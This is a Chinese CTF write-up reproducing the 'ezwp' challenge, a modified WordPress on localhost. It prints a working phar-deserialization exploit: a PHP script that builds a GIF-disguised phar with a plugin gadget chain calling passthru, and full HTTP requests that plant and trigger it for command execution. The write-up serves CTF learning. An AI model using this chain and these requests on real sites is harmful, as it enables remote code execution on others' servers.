XNUXA2020 Final ezwp 复现及思路分析

/ 0评 / 0

跟着decade师傅复现下这个题目,感觉质量还是非常高的。让我这个弟弟学到很多

1.环境搭建

找你的朋友要来源码,复制到本地的web目录,用手指打开http://127.0.0.1

2.复现过程

1.信息收集

image-20210115212315875

很新的版本,开放了注册,可以上传文件之类的。正常的WordPress

2.源码分析

从网上dump一份正版的5.5.3。看看有没有什么区别

wp-admin/post.php

image-20210115213855170

第一处就是这里了,少了几行,并且有作者留下的var_dump($_POST) 所以这里可能是要用到的部分了

image-20210115214047186

这个参数应该是必须用的了

wp-admin/includes/file.php

image-20210115214323637

这里过滤了内容不能有php关键字

wp-includes/Requests/Utility/FilteredIterator.php

image-20210115214453163

这少了个反序列化

wp-includes/post.php

phar竟在我眼前

image-20210115215058214

3.解题思路

根据上面和源码的对比,可以发现需要用phar触发反序列化达到命令执行的目的。
通过https://paper.seebug.org/680/#32-wordpress 文章可以发现利用插件的反序列化调用内部执行任意代码的类方法即可。

1.构造phar

通过插件目录全局搜索,正好找到一个__destruct()方法并且包含foreach的析构方法

image-20210115215526260

然后就可以根据类来构造phar反序列化了

<?php
class Requests_Utility_FilteredIterator extends ArrayIterator {
    protected $callback;
    public function __construct($data, $callback) {
        parent::__construct($data);
        $this->callback = $callback;
    }
}
class Ai1ec_Shutdown_Controller {
    protected $_preserve;
    public function __construct() {
        $this->_preserve = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?= __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new Ai1ec_Shutdown_Controller();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

有一个点就是之前代码分析时发现过滤的php关键字,在PHP>5.5时候PHP强制开启了短标签支持,所以可以把phar中的<?php __HALT_COMPILER(); ?>改成短标签的形式即可绕过。

2.上传phar

3.构造数据包触发phar反序列化

首先找到可控的文件系统函数。
wp-includes/post.php

function wp_get_attachment_thumb_file( $post_id = 0 ) {
    $post_id = (int) $post_id;
    $post    = get_post( $post_id );
    if ( ! $post ) {
        return false;
    }
    #file_exists("phar:///var/www/html/wordpress/phar.phar");
    $imagedata = wp_get_attachment_metadata( $post->ID );
    if ( ! is_array( $imagedata ) ) {
        return false;
    }
    $file = get_attached_file( $post->ID );
    if ( ! empty( $imagedata['thumb'] ) ) {
        $thumbfile = str_replace( basename( $file ), $imagedata['thumb'], $file );
        if ( file_exists( $thumbfile ) ) {
            /**
             * Filters the attachment thumbnail file path.
             *
             * @since 2.1.0
             *
             * @param string $thumbfile File path to the attachment thumbnail.
             * @param int    $post_id   Attachment ID.
             */
            return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
        }
    }
    return false;
}

这里正好存在我们需要的file_exists()方法,又根据上面的比较分析,肯定是利用这里了,追踪$thumb发现完全可控

image-20210115232746603

继续追踪这个
$thumbfile = str_replace( basename( $file ), $imagedata['thumb'], $file );
如果basename($file)$file相同的话,那么$thumbfile的值就是$imagedata['thumb']的值,先来看$file是如何获取到的:
wp-includes/post.php

function get_attached_file( $attachment_id, $unfiltered = false ) {
    $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
    // If the file is relative, prepend upload dir.
    if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) ) {
        $uploads = wp_get_upload_dir();
        if ( false === $uploads['error'] ) {
            $file = $uploads['basedir'] . "/$file";
        }
    }
    if ( $unfiltered ) {
        return $file;
    }
    /**
     * Filters the attached file based on the given ID.
     *
     * @since 2.1.0
     *
     * @param string|false $file          The file path to where the attached file should be, false otherwise.
     * @param int          $attachment_id Attachment ID.
     */
    return apply_filters( 'get_attached_file', $file, $attachment_id );
}

如果$file是类似于windows盘符的路径Z:\Z,正则匹配就会失败,$file就不会拼接其他东西,此时就可以保证basename($file)$file相同
那么如何更改$file呢,我们可以在编辑媒体时手动加上此包

image-20210115234616935

在此页面抓包
修改成如下

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 727
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp-admin/post.php?post=14&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: wordpress_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C0768bdff16fb8ee1eb6d5c9d9fef5157e4a853408735ca8463c093882c9f9b40; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C2b231847a79c0be7133dbf0f51a65e2581905c227b84c581298c1e5a3457b346; wp-settings-time-3=1610722557
Connection: close
_wpnonce=7cf60a6422&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit%26message%3D1&user_ID=3&action=editpost&originalaction=editpost&post_author=3&post_type=attachment&original_post_status=inherit&referredby=&_wp_original_http_referer=&post_ID=14&meta-box-order-nonce=e2a1a3ee2e&closedpostboxesnonce=ae72657292&post_title=Z%3A%5CZ&samplepermalinknonce=77b3380409&_wp_attachment_image_alt=1&excerpt=1&content=&attachment_url=%2Fwp-content%2Fuploads%2F2021%2F01%2F3.gif&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=eb7f907092&_ajax_fetch_list_nonce=7989d72590&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit%26message%3D1&post_name=3-2&file=Z:\Z

其实主要是POST一个file参数即可
根据上面的分析我们需要触发phar
wp-admin/post.php中发现如下代码可以

 case 'editattachment':
        check_admin_referer( 'update-post_' . $post_id );
        // Don't let these be changed.
        unset( $_POST['guid'] );
        $_POST['post_type'] = 'attachment';
        // Update the thumbnail filename.
        $newmeta          = wp_get_attachment_metadata( $post_id, true );
        $newmeta['thumb'] = $_POST['thumb'];
        wp_update_attachment_metadata( $post_id, $newmeta );
        // Intentional fall-through to trigger the edit_post() call.

所以修改上面的包

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 749
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp-admin/post.php?post=14&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: wordpress_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C0768bdff16fb8ee1eb6d5c9d9fef5157e4a853408735ca8463c093882c9f9b40; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C2b231847a79c0be7133dbf0f51a65e2581905c227b84c581298c1e5a3457b346; wp-settings-time-3=1610722200
Connection: close
_wpnonce=7cf60a6422&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit&user_ID=3&action=editattachment&originalaction=editpost&post_author=3&post_type=attachment&original_post_status=inherit&referredby=&_wp_original_http_referer=&post_ID=14&meta-box-order-nonce=e2a1a3ee2e&closedpostboxesnonce=ae72657292&post_title=3&samplepermalinknonce=77b3380409&_wp_attachment_image_alt=1&excerpt=1&content=&attachment_url=%2Fwp-content%2Fuploads%2F2021%2F01%2F3.gif&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=eb7f907092&_ajax_fetch_list_nonce=7989d72590&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit&post_name=3-2&thumb=phar://../wp-content/uploads/2021/01/3.gif

主要是在结尾添加thumb参数以及修改action=editattachment
在原文章中是使用了XMLRPC.php,但是题目中没有
根据文章,我们需要调用wp_get_attachment_thumb_file()函数触发
全局搜一下
发现除了要利用的地方,只有wp-includes/media.php调用了

image-20210115235506479

看看在什么时候调用此方法了

image-20210115235543555

下断点后,发现在上传的时候调用了此功能

image-20210115235623299

在来跟着$id看看如何伪造
在该函数中发现没有变化,往上跟踪谁调用了image_downsize()

image-20210115235929920

这也没变化,继续跟wp_get_attachment_image_src
wp-admin/async-upload.php中发现了

if ( isset( $_REQUEST['attachment_id'] ) && intval( $_REQUEST['attachment_id'] ) && $_REQUEST['fetch'] ) {
    $id   = intval( $_REQUEST['attachment_id'] );
    $post = get_post( $id );
    if ( 'attachment' !== $post->post_type ) {
        wp_die( __( 'Invalid post type.' ) );
    }
    switch ( $_REQUEST['fetch'] ) {
        case 3:
            $thumb_url = wp_get_attachment_image_src( $id, 'thumbnail', true );
            if ( $thumb_url ) {
                echo '<img class="pinkynail" src="' . esc_url( $thumb_url[0] ) . '" alt="" />';
            }
            if ( current_user_can( 'edit_post', $id ) ) {
                echo '<a class="edit-attachment" href="' . esc_url( get_edit_post_link( $id ) ) . '" target="_blank">' . _x( 'Edit', 'media item' ) . '</a>';
            } else {
                echo '<span class="edit-attachment">' . _x( 'Success', 'media item' ) . '</span>';
            }
            // Title shouldn't ever be empty, but use filename just in case.
            $file  = get_attached_file( $post->ID );
            $title = $post->post_title ? $post->post_title : wp_basename( $file );
            echo '<div class="filename new"><span class="title">' . esc_html( wp_html_excerpt( $title, 60, '&hellip;' ) ) . '</span></div>';
            break;
        case 2:
            add_filter( 'attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2 );
            echo get_media_item(
                $id,
                array(
                    'send'   => false,
                    'delete' => true,
                )
            );
            break;
        default:
            add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 );
            echo get_media_item( $id );
            break;
    }
    exit;
}

可以发现这里完成了赋值,并且参数完全可控
所以重新设置attachment_idfetch 的值即可
可以在媒体编辑处获取值

image-20210116000324903

构造如下数据包

POST /wp-admin/async-upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp-admin/post.php?post=19&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: wordpress_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C0768bdff16fb8ee1eb6d5c9d9fef5157e4a853408735ca8463c093882c9f9b40; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C2b231847a79c0be7133dbf0f51a65e2581905c227b84c581298c1e5a3457b346; wp-settings-time-3=1610726646
Connection: close
attachment_id=14&fetch=3

然后就可以命令执行了

image-20210116000604684

4.预期解

上面说的都是非预期的解法,预期解比这个困难,复杂

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注